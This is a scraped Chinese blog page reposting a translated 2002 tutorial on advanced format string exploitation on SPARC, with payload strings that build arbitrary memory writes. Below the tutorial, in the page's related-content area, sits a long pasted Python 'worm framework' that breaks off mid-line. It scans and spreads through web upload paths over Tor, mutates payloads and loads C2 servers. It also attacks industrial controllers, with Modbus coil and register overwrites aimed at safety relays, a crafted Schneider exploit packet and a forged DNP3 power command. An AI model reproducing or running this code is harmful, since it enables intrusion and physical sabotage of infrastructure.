【原理】高级format string exploit技术P59-0x07(下)

博客介绍了高级format string exploit技术P59 - 0x07的下半部分内容,涉及信息技术领域的漏洞利用相关知识。
部署运行你感兴趣的模型镜像

高级format string exploit技术P59-0x07(下)


创建时间:2002-08-23
文章属性:翻译
文章来源: http://www.whitecell.org
文章提交: Debuger (z_yikai_at_163.net)

高级format string exploit技术P59-0x07(下)
|=-----------------------=[ riq <riq@corest.com> ]=-----------------------|

原文: <<Advances in format string exploiting>>
by gera <gera@corest.com>, riq <riq@corest.com>
翻译 yikaikai<yikaikai@sina.com>   http://www.whitecell.org
--[目录

   1 - 简介
   2 - 堆
   3 -小技巧
    3.1 - 例1
    3.2 - 例2    
    3.3 - 例3
    3.4 - 例4
  4 - 4字节write-anything-anywhere权限的滥用
    4.1 - 例5
  5 - 结论
    5.1 - 覆盖栈帧寄存器local 0是否危险?
    5.2 - 这种方法可靠吗?
    5.3 - 在i386平台能否运行?

  6 - 后记
    6.1 - 参考资料
    6.2 - 致谢


--[ 1 - 简介

通常的format string位于栈内, 但有位于堆的情况, 你是看不到的.
scut 在他的文章里谈到了这些"格式化字符串溢出攻击 section6.4
       http://www.team-teso.net/articles/formatstring/

    这里我介绍一个在SPARC(big-endian machines)上处理这种字符串的一般方法,
在i386上也是相似的


--[ 2 - 堆

  在栈里你可以发现栈的帧结构. 栈的结构包括局部变量, 寄存器,指向前一个栈结构的
指针, 返回地址等.

     既然用格式化字符串可以看到这些, 我们要仔细研究一下.
基于SPARC的栈结构大概如下.

    说明一下,  SPARC包含4组通用寄存器,每组包含8个寄存器。其中一组是全局(global)寄存器,
另外三组寄存器是out,local,in.
          frame 0              frame 1               frame 2
         [  l0   ]     +----> [  l0   ]      +----> [  l0   ]
         [  l1   ]     |      [  l1   ]      |      [  l1   ]
            ...        |         ...         |         ...  
         [  l7   ]     |      [  l7   ]      |      [  l7   ]
         [  i0   ]     |      [  i0   ]      |      [  i0   ]
         [  i1   ]     |      [  i1   ]      |      [  i1   ]
            ...        |         ...         |         ...  
         [  i5   ]     |      [  i5   ]      |      [  i5   ]
         [  fp   ] ----+      [  fp   ]  ----+      [  fp   ]
         [  i7   ]            [  i7   ]             [  i7   ]
         [ temp 1]            [ temp 1]
                              [ temp 2]

  等等

    寄存器fp 是指向调用帧的指针, 你可以猜得出, 'fp' 代表帧指针.
    temp_N 是保存在栈中的局部变量, 帧1从帧0的局部变量结束地方开始,
帧2从帧1的局部变量结束地方开始,  如此类推.
    所有的帧保存在栈中, 所以我们可以用我们的格式化字符串看到这些

--[ 3 - 小敲门

    敲门在于每个栈帧都有一个指针指向前一个栈帧, 我们得到指向栈的地址越多,
就越有可能成功.
   为什么呢?如果我们有一个属于自己堆栈的指针, 我们可以覆盖指向任何值的地址

--[ 3.1 - 例1

    假设我们想将0x1234放入帧1的寄存器local 0内, 我们要做的是试着建立一个
格式化字符串, 长度刚好到达帧0 fp的位置, 即0x1234, 在那个位置我们用格式化字符串
放入字符'%n'.
    假设第一个参数是在帧0的局部变量0中, 我们的格式化字符串如下( 用 python描述)
  '%8x' * 8 +     # 弹出8个local寄存器
  '%8x' * 5 +     # 弹出前5个寄存器in
  '%4640d'  +     # 改变string的长度 (4640 is 0x1220) and...
  '%n'            # 在fp指向的位置写入(which is frame 1's l0)

    当格式化字符串执行后, 栈看起来是这样的:
          frame 0              frame 1
         [  l0   ]     +----> [ 0x00001234 ]
         [  l1   ]     |      [  l1   ]
            ...        |         ...  
         [  l7   ]     |      [  l7   ]
         [  i0   ]     |      [  i0   ]
         [  i1   ]     |      [  i1   ]
            ...        |         ...  
         [  i5   ]     |      [  i5   ]
         [  fp   ] ----+      [  fp   ]
         [  i7   ]            [  i7   ]
         [ temp 1]            [ temp 1]
                              [ temp 2]


--[ 3.2 - 例2

  如果我们要写大点的数字, 像0x20001234, 我们应该在栈中寻找两个指向同一地址的
指针, 看起来如下
          frame 0              frame 1
         [  l0   ]     +----> [  l0   ]
         [  l1   ]     |      [  l1   ]
            ...        |         ...  
         [  l7   ]     |      [  l7   ]
         [  i0   ]     |      [  i0   ]
         [  i1   ]     |      [  i1   ]  
            ...        |         ...  
         [  i5   ]     |      [  i5   ]
         [  fp   ] ----+      [  fp   ]
         [  i7   ]     |      [  i7   ]
         [ temp 1] ----+      [ temp 1]
                              [ temp 2]


  [ 注意: 不一定要去找两个指向同一地址的指针, 虽然不是少见]
    所以, 我们的格式化字符串看起来如下

  '%8x' * 8 +     # 弹出8个local寄存器
  '%8x' * 5 +     # 弹出前5个寄存器in
  '%4640d'  +     # 改变format string长度 (4640=0x1220)
  '%n'            # 在fp指向的位置写入(which is frame 1's l0)
  '%3530d'  +     # 再次改变format string 长度
  '%hn'           # 这次改变高位部分!

   我们将会得到:
          frame 0              frame 1
         [  l0   ]     +----> [ 0x20001234 ]
         [  l1   ]     |      [  l1   ]
            ...        |         ...  
         [  l7   ]     |      [  l7   ]
         [  i0   ]     |      [  i0   ]
         [  i1   ]     |      [  i1   ]
            ...        |         ...  
         [  i5   ]     |      [  i5   ]
         [  fp   ] ----+      [  fp   ]
         [  i7   ]     |      [  i7   ]
         [ temp 1] ----+      [ temp 1]
                              [ temp 2]


--[ 3.3 - example 3

    这个例子中我们只有一个指针, 在格式化字符串中我们用直接存取可以得到同样
的结果, 用'%arg_number$', arg_number位于0-30(Solaris).

    我的format string 如下
    '%4640d' +  # 改变长度
    '%15$n'  +  # 写第15个参数的地方(第15个参数是fp位置!)
    '%3530d' +  # 再次改变长度
    '%15$hn'    # 再次写入(高位部分)!

  因此, 我们将会得到如下结果
      
          frame 0              frame 1
         [  l0   ]     +----> [ 0x20001234 ]
         [  l1   ]     |      [  l1   ]
            ...        |         ...  
         [  l7   ]     |      [  l7   ]
         [  i0   ]     |      [  i0   ]
         [  i1   ]     |      [  i1   ]
            ...        |         ...  
         [  i5   ]     |      [  i5   ]
         [  fp   ] ----+      [  fp   ]
         [  i7   ]            [  i7   ]
         [ temp 1]            [ temp 1]
                              [ temp 2]

--[ 3.4 - 例4

   但是两个指针在栈中不指向同一地址的情况是常发生的, 指向栈中的第一个地址
常常超出前30个参数的范围, 那么该怎么做呢?
   要知道用简单的'%n', 你可以写非常大的数字, 像0x0028000或者更大, 你应当知道
二进制的动态连接库通常位于低位地址, 像0x0002???. 所以, 只用一个指针指向栈,
你可以得到指向二进制PLT的指针.

  我想这里就不再需要用图表示了

--[ 4 - 4字节write-anything-anywhere权限的滥用

--[ 4.1 -例5

    为了得到4write-anything-anywhere的权限, 我们应该重复一下栈帧寄存器local 0作了些什么,
在另一个重做一次, 比如帧1,结果看起来如下:
      frame 0              frame 1               frame 2
     [  l0   ]     +----> [0x00029e8c]   +----> [0x00029e8e]
     [  l1   ]     |      [  l1   ]      |      [  l1   ]
        ...        |         ...         |         ...  
     [  l7   ]     |      [  l7   ]      |      [  l7   ]
     [  i0   ]     |      [  i0   ]      |      [  i0   ]
     [  i1   ]     |      [  i1   ]      |      [  i1   ]
        ...        |         ...         |         ...  
     [  i5   ]     |      [  i5   ]      |      [  i5   ]
     [  fp   ] ----+      [  fp   ]  ----+      [  fp   ]
     [  i7   ]            [  i7   ]      |      [  i7   ]
     [ temp 1]            [ temp 1]      |
                          [ temp 2]  ----+
                          [ temp 3]
  [注意: 只要我们想改变的的代码在0x00029e8c之内]

  现在, 我们有了两个指针, 一个指向  0x00029e8c 另一个指向0x00029e8e, 我们终于
达到了自己想要的目的, 现在我们可以攻击这个位置就像攻击其他的format string.

   这个format string看起来如下:
    '%4640d' +  # 改变长度
    '%15$n'  +  # 用直接存取的方法写入帧1 寄存器local 0的低位部分
    '%3530d' +  # 再次改变长度
    '%15$hn' +  # 覆盖高位部分
    '%9876d' +  # 改变长度
    '%18$hn' +  # And write like any format string exploit!


    '%8x' * 13+ # 弹出13个参数( 从15个参数中)
    '%6789d' +  # 改变长度
    '%n'     +  # 写低位部分
    '%8x'    +  # 弹出
    '%1122d' +  # 改变长度
    '%hn'    +  # 写高位部分
    '%2211d' +  # 改变长度
    '%hn'       # 再次改写, 就像任何的exploit一样

    你可以看得出, 这只是由一个format string完成的, 但不总是这样,
如果我们不能创建两个指针, 我们能做的,就是滥用两次format string.

    首先, 创建一个指向0x00029e8c的指针, 然后, 我们用'%hn'覆盖0x00029e8c指
向的指针.
    然后, 我们在滥用一次format string, 就像上次那样, 只是用指向0x00029e8c
的指针.


--[5]    结论
--[   5.1 - 覆盖栈帧寄存器local 0是否危险?

   这不是最好的, 但实践表明改变local 0的值没有任何问题, 有时候你也许不幸, 你宁愿更改
属于main()或 _start()帧的local 0

--[ 5.2 - 这种方法可靠吗?

  如果你了解栈的情况, 或者知道栈帧的大小, 那就是可靠的, 否则这种技术帮不了
你多少.

  我想当你不得不覆盖值为零的地址时, 这也许是你最后的选择, 因为你不能将0放入format
string(将会截断string)

   同样的, 二进制的过程联接表(PLT) 位于低位地址, 覆盖二进制的PLT比libc'sPLT更可靠,
为什么呢?我想Solaris下联接库的改变比你想exploit的binary更频繁. 也许, 你想exploit的
二进制代码将永远不会改变

--[ 5.3 -  在i386平台能否运行?

  是的, 或许可以, 我想你可能会遇到'%n'和'%hn'的问题,
(i386 是 little-endian), 但我相信其他的在386上是能正常运行的
--[ 6 - 后记

--[ 6.1 - references

  Very complete format strings article by scut:
    * http://www.team-teso.net/articles/formatstring/


--[ 6.2 - thanks to:
    
  Juliano, for letting me know that I can overwrite, as may times as I
want an address using 'direct access', and other tips about format strings.

  Gera, for his ideas, suggestions and fixes.

  Javier, for helping me in SPARC.

  Bombi, for trying her best to correct my English.

  and Bruce, for correcting my English, too.

riq.

|=[ EOF ]=---------------------------------------------------------------=|

[ 感谢alert7, 大鹰在翻译时对我的支持, 特别是alert7在我翻译初稿里提出许多问题,
并给了一些参考资料 << Solaris for SPARC 堆栈溢出程序编写(1)>> warning3 (warning3@hotmail.com) ]

您可能感兴趣的与本文相关的镜像

Python3.8

Python3.8

Conda
Python

Python 是一种高级、解释型、通用的编程语言,以其简洁易读的语法而闻名,适用于广泛的应用,包括Web开发、数据分析、人工智能和自动化脚本

import base64 import random import string import hmac import hashlib import time import sys import os import threading import asyncio import aiohttp import aiodns from aiohttp_socks import ProxyConnector from Crypto.Cipher import AES, PKCS1_OAEP from Crypto.PublicKey import RSA from Crypto.Util.Padding import pad, unpad import logging import json import platform from ctypes import windll, wintypes, create_string_buffer import owasp_zap_core_api from pymodbus.client.sync import ModbusTcpClient import socket from pydnp3 import opendnp3 # Configure logger, output logs to file and set log level logging.basicConfig(filename='worm.log', level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') hmac_algorithms = [hashlib.sha256, hashlib.sha384, hashlib.sha512] class DecentralizedKeyDistribution: def __init__(self): self.keys = {} self._generate_keys() self.current_key_index = 0 self.key_version = 1 def _generate_keys(self): import secrets for _ in range(10): key_id = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(8)) key = secrets.token_bytes(16) self.keys[key_id] = key def get_key(self): key_ids = list(self.keys.keys()) key = self.keys[key_ids[self.current_key_index]] self.current_key_index = (self.current_key_index + 1) % len(self.keys) return key, self.key_version def rotate_keys(self): new_keys = {} for key_id, old_key in self.keys.items(): new_key = self._generate_key() new_keys[key_id] = new_key buffer = create_string_buffer(old_key) windll.kernel32.RtlZeroMemory(buffer, len(old_key)) # Verify if key is erased successfully for i in range(len(old_key)): if buffer[i]!= 0: logging.warning("Key erasure verification failed") self.keys = new_keys self.key_version += 1 def _generate_key(self): import secrets return secrets.token_bytes(16) key_dist = DecentralizedKeyDistribution() class Scanner: def __init__(self): self.targets = [] self.persistence_file = 'targets.txt' self.load_targets() self.vulnerability_db = self.load_vulnerability_db() self.update_vulnerability_db() self.delay_pattern = self._generate_delay_pattern() self.scan_paths = self._generate_scan_paths() self.resolver = aiodns.DNSResolver() self.dns_retry_count = 0 self.zap = owasp_zap_core_api.ZAPv2() def add_target(self, url): self.targets.append(url) self.save_targets() async def _check_vulnerable_async(self, target): try: host = urlparse(target).hostname addrs = await self._resolve_host(host) ip = addrs[0].host target = target.replace(host, ip) scan_id = self.zap.spider.scan(target) while int(self.zap.spider.status(scan_id)) < 100: await asyncio.sleep(1) alerts = self.zap.core.alerts(scan_id) if alerts: logging.info(f"{target} may have vulnerabilities, OWASP ZAP found alerts: {alerts}") return True except (aiodns.error.DNSError, IndexError) as e: logging.error(f"Failed to resolve hostname: {host}, error: {e}") except Exception as e: logging.error(f"OWASP ZAP scan error: {e}") return False async def _resolve_host(self, host): max_retries = 3 while self.dns_retry_count < max_retries: try: addrs = await self.resolver.query(host, 'A') self.dns_retry_count = 0 return addrs except aiodns.error.DNSError as e: self.dns_retry_count += 1 logging.error(f"DNS resolution error: {e}, retrying...({self.dns_retry_count}/{max_retries})") await asyncio.sleep(2) raise aiodns.error.DNSError("Reached maximum DNS resolution retries") def _generate_random_user_agent(self): user_agents = [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0' ] return random.choice(user_agents) def _generate_scan_paths(self): paths = ['/login.php', '/admin.php', '/index.php'] for _ in range(5): paths.append('/' + ''.join(random.choices(string.ascii_lowercase, k=random.randint(5, 10)))) random.shuffle(paths) return paths def load_targets(self): try: with open(self.persistence_file, 'r') as f: encrypted_targets = json.load(f) for encrypted_target in encrypted_targets: ciphertext = base64.b64decode(encrypted_target['ciphertext']) nonce = base64.b64decode(encrypted_target['nonce']) tag = base64.b64decode(encrypted_target['tag']) key_id = encrypted_target['key_id'] key_version = encrypted_target['key_version'] encryption_key = key_dist.keys[key_id] cipher = AES.new(encryption_key, AES.MODE_EAX, nonce=nonce) try: target = cipher.decrypt_and_verify(ciphertext, tag).decode('utf-8') self.targets.append(target) except ValueError: logging.error("Verification failed when decrypting target") except FileNotFoundError: pass def save_targets(self): encrypted_targets = [] encryption_key, key_version = key_dist.get_key() key_id = list(key_dist.keys.keys())[key_dist.current_key_index - 1] for target in self.targets: cipher = AES.new(encryption_key, AES.MODE_EAX) nonce = cipher.nonce ciphertext, tag = cipher.encrypt_and_digest(target.encode('utf-8')) encrypted_target = { 'ciphertext': base64.b64encode(ciphertext).decode('utf-8'), 'nonce': base64.b64encode(nonce).decode('utf-8'), 'tag': base64.b64encode(tag).decode('utf-8'), 'key_id': key_id, 'key_version': key_version } encrypted_targets.append(encrypted_target) with open(self.persistence_file, 'w') as f: json.dump(encrypted_targets, f) def update_vulnerability_db(self): max_retries = 3 for attempt in range(max_retries): try: async with aiohttp.ClientSession() as session: async with session.get('http://your_vulnerability_db_server.com/update') as response: if response.status == 200: new_db = await response.json() self.vulnerability_db = new_db with open('vulnerability_db.json', 'w') as f: json.dump(new_db, f) return except aiohttp.ClientError as e: logging.error(f"Error updating vulnerability database (attempt {attempt + 1}): {e}") await asyncio.sleep(2) logging.error("Failed to update vulnerability database after multiple attempts") def _generate_delay_pattern(self): delay_pattern = [] for _ in range(10): delay = random.uniform(0.1, 2) delay_pattern.append(delay) random.shuffle(delay_pattern) return delay_pattern class PropagationEngine: def __init__(self): self.user_agent = Scanner()._generate_random_user_agent() self.proxy_connector = ProxyConnector.from_url('socks5://127.0.0.1:9050') async def propagate_to_target(self, target, payload): try: upload_paths = self._generate_upload_paths() for upload_path in upload_paths: await asyncio.sleep(random.uniform(1, 3)) headers = self._generate_headers() async with aiohttp.ClientSession(connector=self.proxy_connector) as session: async with session.post(target + upload_path, data=payload, headers=headers) as response: if response.status == 200: logging.info(f"Successfully propagated to target {target}") return True else: logging.info(f"Failed to propagate to target {target}, status code: {response.status}") except aiohttp.ClientError as e: logging.error(f"Error propagating to target {target}: {e}") return False def _generate_headers(self): headers = { 'User - Agent': self.user_agent, 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' } return headers def _generate_upload_paths(self): base_paths = ['/upload.php', '/file_upload.php', '/upload_file.php'] dynamic_paths = [] for _ in range(3): path = '/' + ''.join(random.choices(string.ascii_lowercase + string.digits, k=random.randint(5, 10))) + '.php' dynamic_paths.append(path) return base_paths + dynamic_paths class MultiArchPayload: def __init__(self): self.payload_segments = [] self.encoding_methods = [self._base64_encode, self._hex_encode, self._url_encode] def generate_mutation(self, base_payload): self.payload_segments = [] num_segments = random.randint(3, 5) segment_size = len(base_payload) // num_segments remaining = len(base_payload) % num_segments start = 0 for i in range(num_segments): end = start + segment_size if i == num_segments - 1: end += remaining segment = base_payload[start:end] encoding_method = random.choice(self.encoding_methods) encoded_segment = encoding_method(segment) self.payload_segments.append(encoded_segment) return self.payload_segments def recombine_payload(self): combined_payload = ''.join(self.payload_segments) return combined_payload def verify_payload_integrity(self, combined_payload): hash_object = hashlib.sha256(combined_payload.encode()) expected_hash = hash_object.hexdigest() # Assume we have the correct hash stored somewhere for comparison correct_hash = "correct_hash_value" return expected_hash == correct_hash def _base64_encode(self, data): return base64.b64encode(data).decode('utf - 8') def _hex_encode(self, data): return data.hex() def _url_encode(self, data): from urllib.parse import quote return quote(data.decode('utf - 8')) class IndustrialProtocolModule: def __init__(self): self.original_values = {} def modbus_exploit(self, target, command="read"): client = ModbusTcpClient(target) if client.connect(): if command == "write_coil": # 修改设备线圈状态(如关闭安全继电器) client.write_coil(0, 0xFF00) # 强制开启所有线圈 elif command == "write_register": # 篡改设备寄存器(如修改温度设定值) self.original_values[0] = client.read_holding_registers(0, 10).registers client.write_registers(0, [65000] * 10) # 超限写入 elif command == "fuzzing": # 模糊测试漏洞探测 for fc in [43, 90, 127]: # 非法功能码 client.send(bytearray([fc, 0, 0, 0, 0])) client.close() return True return False def _cve_2020_13576(self, target): # 模拟Schneider Modicon漏洞 mal_packet = b'\x00\x01\x00\x00\x00\x06\x01\x06\x00\x01\xff\xff' sock = socket.socket() sock.sendto(mal_packet, (target, 502)) sock.close() return True def device_fingerprinting(self, target): client = ModbusTcpClient(target) if client.connect(): try: response = client.read_coils(0, 10).encode() if "Schneider" in response.decode('utf - 8', 'ignore'): client.close() return self._cve_2020_13576(target) elif "Siemens" in response.decode('utf - 8', 'ignore'): client.close() return self._siemens_s7_exploit(target) except Exception as e: logging.error(f"Error during device fingerprinting: {e}") client.close() return False def _siemens_s7_exploit(self, target): # 这里需要根据实际的Siemens S7漏洞利用代码实现 logging.info(f"Simulating Siemens S7 exploit on {target}") return True def assess_impact(self, register_address): PHYSICAL_EFFECTS = { 0x3000: "锅炉超压风险", 0x4000: "涡轮机超速危险" } return PHYSICAL_EFFECTS.get(register_address, "未知系统状态") def clean_traces(self, target): client = ModbusTcpClient(target) if client.connect(): if 0 in self.original_values: client.write_registers(0, self.original_values[0]) client.close() def dnp3_exploit(self, target): manager = opendnp3.DNP3Manager(1, opendnp3.ConsoleLogger().Create()) channel = manager.AddTCPClient("client", opendnp3.levels.NORMAL, "0.0.0.0", target, 20000) # 伪造控制指令(断电命令) command = opendnp3.ControlRelayOutputBlock(opendnp3.ControlCode.LATCH_ON) channel.DirectOperate(command, 0) return True def mitm_attack(self, target): # 这里需要实际设置代理并修改PDU的逻辑 logging.info(f"Simulating DNP3 MITM attack on {target}") return True class WormFramework: def __init__(self): self.payload_generator = MultiArchPayload() self.vulnerability_scanner = Scanner() self.propagator = PropagationEngine() self.rsa_key = RSA.generate(2048) self.private_key = self.rsa_key.export_key() self.public_key = self.rsa_key.publickey().export_key() self.worm_code = self._read_worm_code() self.c2_server_urls = self._load_c2_server_urls() self.last_c2_index = -1 self._init_key_exchange() self.memory_encryption_key = key_dist.get_key() self.industrial_protocol = IndustrialProtocolModule() def _load_c2_server_urls(self): try: with open('c2_servers.json', 'r') as f: return json.load(f) except FileNotFoundError: return [] def _read_worm_code(self): with open(__file__, 'rb') as f: return f.read() async def scan_targets(self): try: tasks = [] for target in self.vulner我这代码属于有意义的提交情形还是无意义的提交情形
最新发布
10-20
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值